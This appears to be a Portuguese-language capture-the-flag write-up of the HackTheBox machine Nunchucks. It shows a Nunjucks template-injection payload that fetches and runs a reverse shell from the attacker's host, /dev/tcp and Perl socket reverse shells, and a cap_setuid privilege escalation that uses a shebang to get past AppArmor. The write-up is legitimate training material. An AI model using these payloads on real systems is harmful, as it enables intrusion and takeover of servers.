HackTheBox - Writeup Nunchucks [Retired]
Tags: hackthebox, security, node, linux
Published: 2024-06-08 13:07:56

**Hackthebox**

Neste writeup iremos explorar uma máquina linux de nível easy que ja se encontra entre as máquinas aposentadas. Esta máquina aborda as seguintes vulnerabilidades:

- **Server Side Template Injection em aplicações NodeJS**
- **Linux capabilities**
- **Bypass Apparmor**

### Recon e user flag

Iniciaremos realizando uma varredura em nosso alvo a procura de portas abertas através do nmap:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# nmap -sV --open -Pn 10.129.95.252
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-27 10:28 EST
Nmap scan report for 10.129.95.252
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Ao acessar via IP a porta 80 somos redirecionados para a porta 443 que possui HTTPS. 

Vamos adicionar o domínio que retorna no certificado ssl **nunchucks.htb** em nosso **/etc/hosts**.

E ao acessarmos novamente temos a seguinte página:


![nunchucks.htb](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/iw4sws29bpyvabisae2h.png)

Está pagina possui somente duas opções via api, login e register. No entanto não foram encontradas vulnerabilidades ou meios de exploração devido a opção estar desabilitada.

Vamos utilizar o gobuster para buscar subdomínios:

```jsx
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hh 30587 https://nunchucks.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************
Target: https://nunchucks.htb/
Total requests: 207630
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                 
=====================================================================
000000193:   200        101 L    259 W      4028 Ch     "store"
```

Localizamos o subdomínio **store.nunchucks.htb,** vamos adicionar em nosso **/etc/hosts** também. O novo subdomínio possui o seguinte conteúdo:



![store.nunchucks.htb](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0vcc39hmcqaomxwxrwte.png)


Existe um campo para assinatura de um newsletter e podemos constatar que o mesmo é vulnerável a **SSTI** (**Server Side Template Injection**):


![Payload aceito](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/61c8lh0u29nf29gkjz6d.png)


Interceptando as requisições com o Burp Suite como proxy conseguimos testar diversos payloads para **SSTI** buscando execução de comandos.

No entanto, precisamos primeiro entender o que esta processando os dados que enviamos, qual o tipo de template que a aplicação esta usando.

Analisando as requisições e respostas através do burp suite encontramos o header **X-Powered-By: Express**

O Express é um framework web para NodeJS. E a partir daqui conseguimos visualizar os templates engine que o mesmo utiliza:

[Template Engines](https://expressjs.com/en/resources/template-engines.html)

Dentre os templates temos o seguinte que nos chama atenção pelo seu nome:

[https://github.com/mozilla/nunjucks](https://github.com/mozilla/nunjucks)

Aqui nosso foco se torna criar um payload que nos permite executar comandos em nosso alvo.

Conseguimos com a seguinte requisição:

```
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=ccjKRgyMzBCAko0I10C2MKXv
Content-Length: 128
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://store.nunchucks.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://store.nunchucks.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/test123')")()}}"}
```

Para testar o funcionamento iremos subir um servidor web utilizando python da seguinte forma e executar a requisição acima, tendo o seguinte retorno:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.95.252 - - [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - [28/Jan/2024 07:54:40] "GET /test123 HTTP/1.1" 404 -
```

Foi executado com sucesso um curl para nossa máquina, batendo no endpoint que não existe, retornando o status code 404.

Agora que temos um RCE podemos utilizar para realizar o download e executar nosso reverse shell, da mesma forma que o exemplo acima.

Iremos criar o arquivo chamado [rev.sh](http://rev.sh) com o seguinte conteúdo:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9001 0>&1
```

Para realizar o download basta alterarmos nosso payload da seguinte forma:

```bash
{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('curl 10.10.14.128:8081/rev.sh -o /tmp/rev.sh')")()}}"}
```

E temos o retorno em nosso servidor web python que o alvo conseguiu encontrar o arquivo:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.95.252 - - [28/Jan/2024 07:54:40] code 404, message File not found
10.129.95.252 - - [28/Jan/2024 07:54:40] "GET /test123 HTTP/1.1" 404 -
10.129.95.252 - - [28/Jan/2024 07:57:52] "GET /rev.sh HTTP/1.1" 200 -
```

Com nosso reverse shell ja no alvo, através de uma aba do terminal iremos utilizar o pwncat para ouvir na porta 9001:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001        
[07:55:13] Welcome to pwncat 🐈!
```

E iremos alterar nosso payload para executar nosso reverse shell, da seguinte forma:

```bash
{"email":"{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash /tmp/rev.sh')")()}}"}
```

Com estes passos conseguimos o seguinte retorno em nosso pwncat, com nosso shel reverso:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9001        
[07:55:13] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
[07:58:30] received connection from 10.129.95.252:60400                                                                                        bind.py:84
[07:58:37] 10.129.95.252:60400: registered new host w/ db                                                                                  manager.py:957
(local) pwncat$                                                                                                                                          
(remote) david@nunchucks:/var/www/store.nunchucks$ id
uid=1000(david) gid=1000(david) groups=1000(david)
```

Conseguindo assim a user flag:

```bash
(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/
total 12K
drwxr-xr-x  3 root  root  4.0K Aug 28  2021 .
drwxr-xr-x 19 root  root  4.0K Oct 28  2021 ..
drwxr-xr-x  7 david david 4.0K Oct 22  2021 david
(remote) david@nunchucks:/var/www/store.nunchucks$ ls -alh /home/david/
total 52K
drwxr-xr-x 7 david david 4.0K Oct 22  2021 .
drwxr-xr-x 3 root  root  4.0K Aug 28  2021 ..
lrwxrwxrwx 1 root  root     9 Aug 28  2021 .bash_history -> /dev/null
-rw-r--r-- 1 david david  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 david david 3.7K Feb 25  2020 .bashrc
drwxr-xr-x 7 david david 4.0K Sep 25  2021 .cache
drwx------ 8 david david 4.0K Sep 25  2021 .config
drwx------ 3 david david 4.0K Sep 25  2021 .gnupg
drwx------ 3 david david 4.0K Sep 25  2021 .local
drwxrwxr-x 5 david david 4.0K Jan 27 15:27 .pm2
-rw-r--r-- 1 david david  807 Feb 25  2020 .profile
-r--r----- 1 root  david   33 Jan 27 15:28 user.txt
-rw------- 1 david david 5.0K Oct 22  2021 .viminfo
(remote) david@nunchucks:/var/www/store.nunchucks$ cat /home/david/user.txt 
329cc9dd22d4499ac9302bb6a4ff8bab
```

### Escalação de privilégios e root flag

Visando automatizar o processo de recon de nosso alvo, uma vez que temos um shell como usuário, vamos utilizar o linpeas.

O linpeas se trata de um script que realiza uma varredura no alvo levantando diversos pontos que possivelmente podem ser explorados para escalar privilégios, seja obter dados sensíveis, permissionamento, capabilities e diversos outros pontos.

Em nosso caso, dentre todas possibilidades que retornaram no output do script, temos o seguinte:

```bash
-rw-rw-r-- 1 root david 7651273 Sep 26  2021 /opt/web_backups/backup_2021-09-26-1632618416.tar
-rw-rw-r-- 1 root david 7651273 Sep 26  2021 /opt/web_backups/backup_2021-09-26-1632619104.tar
-rwxr-xr-x 1 root root 838 Sep  1  2021 /opt/backup.pl
```

É um script feito em perl que possui o seguinte conteúdo:

```perl
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); 

my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";

sub printlog
{
    print "[", strftime("%D %T", localtime), "] $_[0]\n";
}

sub archive
{
    printlog "Archiving...";
    system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
    printlog "Backup complete in $tmpbdir/backup_$now.tar";
}

if ($> != 0) {
    die "You must run this script as root.\n";
}

printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
```

O script realiza o backup de **/var/www** e salva o arquivo compactado em /opt/web_backups/.

Mas realizando o download do backup e visualizando o banco de dados (que também podemos acessar o atual) não foi encontrado nenhuma informação útil que possa ser utilizada para escalar privilégios. Existe o banco de dados da aplicação que é um sqlite, mas sem nada interessante também.

Outro ponto, que é o mais importante do output do linpeas é o seguinte:

```perl
Files with capabilities (limited to 50):
/usr/bin/perl = cap_setuid+ep
```

O binário do perl possui a capabilitie **cap_setuid**, que permite que seja setado o uid através do binário perl, permitindo usuários sem privilégios executarem (+ep).

[setuid(2) - Linux manual page](https://man7.org/linux/man-pages/man2/setuid.2.html)

Podemos testar a execução de alguns comandos utilizando o perl via linha de comando que ver o que conseguimos executar como root:

```perl
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
```

O comando acima, assim como o script de backup, seta o uid para 0, que é do usuário root e executa o **/bin/bash** para criar um novo shell como root. Mas sem sucesso.

Ao alterar o comando para **whoami** temos sucesso:

```perl
(remote) david@nunchucks:/tmp$ id
uid=1000(david) gid=1000(david) groups=1000(david)
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root
```

Mas outros comandos para tentar executar um shell não funciona, como por exemplo o seguinte:

```perl
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
```

O comando acima tenta após setar o user id para 0 criar uma conexão reversa com a nossa máquina na porta **9002** (que estamos ouvindo através do **pwncat** em outra aba do terminal).

A conexão é enviada para nosso pwncat, mas ela é encerrada logo em seguida:

```bash
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9002
[09:48:04] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
[13:45:32] received connection from 10.129.95.252:37184                                                                                         bind.py:84
[13:45:32] connection failed: channel unexpectedly closed                                                                                  manager.py:957
(local) pwncat$
```

Aqui temos uma pergunta a ser respondida, por que alguns comandos funcionam e outros não.

Vemos que conseguimos executar o comando id também:

```perl
(remote) david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "id";'
uid=0(root) gid=1000(david) groups=1000(david)
```

Não obtivemos sucesso tentando executar um script ou um simples cat.

Existem regras que podem limitar a execução em binários, através do **SELinux** ou **Apparmor**. Em nosso caso é o Appamor, por se tratar de um ubuntu.

Verificando o apparmor encontramos a seguinte regra:

```perl
(remote) david@nunchucks:/etc/apparmor.d$ ls -alh
total 72K
drwxr-xr-x   7 root root 4.0K Oct 28  2021 .
drwxr-xr-x 125 root root  12K Oct 29  2021 ..
drwxr-xr-x   4 root root 4.0K Oct 28  2021 abstractions
drwxr-xr-x   2 root root 4.0K Oct 28  2021 disable
drwxr-xr-x   2 root root 4.0K Oct 28  2021 force-complain
drwxr-xr-x   2 root root 4.0K Oct 28  2021 local
-rw-r--r--   1 root root 1.3K May 19  2020 lsb_release
-rw-r--r--   1 root root 1.1K May 19  2020 nvidia_modprobe
-rw-r--r--   1 root root 3.2K Mar 11  2020 sbin.dhclient
drwxr-xr-x   5 root root 4.0K Oct 28  2021 tunables
-rw-r--r--   1 root root 3.2K Feb 25  2020 usr.bin.man
-rw-r--r--   1 root root  442 Sep 26  2021 usr.bin.perl
-rw-r--r--   1 root root  672 Feb 19  2020 usr.sbin.ippusbxd
-rw-r--r--   1 root root 2.0K Jul 22  2021 usr.sbin.mysqld
-rw-r--r--   1 root root 1.6K Feb 11  2020 usr.sbin.rsyslogd
-rw-r--r--   1 root root 1.4K Dec  7  2019 usr.sbin.tcpdump
(remote) david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl 
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>

/usr/bin/perl {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/perl>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /usr/bin/id mrix,
  /usr/bin/ls mrix,
  /usr/bin/cat mrix,
  /usr/bin/whoami mrix,
  /opt/backup.pl mrix,
  owner /home/ r,
  owner /home/david/ r,

}
```

O apparmor é um MAC (Mandatory Access Control) que é implementado no kernel do linux visando controlar e limitar determinados recursos, como programas, binários e etc. 

Continuando na saga para escalar privilégios para root podemos ponderar alguns pontos:

- Somente determinados comandos conseguem ser executados devido ao apparmor
- Não conseguimos executar nada no diretório /root, devido ao apparmor

No entanto, seguindo passos similares ao que ja tentamos foi possível executar o seguinte.

Primeiro criamos um script em perl setando o user id para 0 e executando nosso reverse shell, com o seguinte conteúdo:

```perl
#!/usr/bin/perl
use POSIX qw(setuid); POSIX::setuid(0);
use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};s
```

E ao executar nosso script:

```perl
(remote) david@nunchucks:/home/david$ ./exp.pl

```

Temos o seguinte retorno em nosso pwncat:

```perl
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs -lp 9002
[14:47:11] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
[14:50:31] received connection from 10.129.2.248:37982                                                                                         bind.py:84
[14:50:36] 0.0.0.0:9002: upgrading from /usr/bin/dash to /usr/bin/bash                                                                     manager.py:957
[14:50:39] 10.129.2.248:37982: registered new host w/ db                                                                                   manager.py:957
(local) pwncat$                                                                                                                                          
(remote) root@nunchucks:/home/david# id
uid=0(root) gid=1000(david) groups=1000(david)
```

Buscando entender o por que do script ter executado, ao contrário da mesma execução via linha de comando foi encontrado o seguinte bug:

[Bug #1911431 “Unable to prevent execution of shebang lines” : Bugs : AppArmor](https://bugs.launchpad.net/apparmor/+bug/1911431)

Basicamente o shebang (#!) faz com que o perl ignore o apparmor e execute sem restrições.

Com isso conseguimos nossa shell como usuário root:

```perl
(remote) root@nunchucks:/home/david# cat /root/root.txt 
d24de14bd4c16c24fb1158033cafe1e9
```

Conseguindo assim a root flag e finalizando a máquina Nunchucks :)


![pwned machine](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/54u2rjbniy8df1c4osnt.png)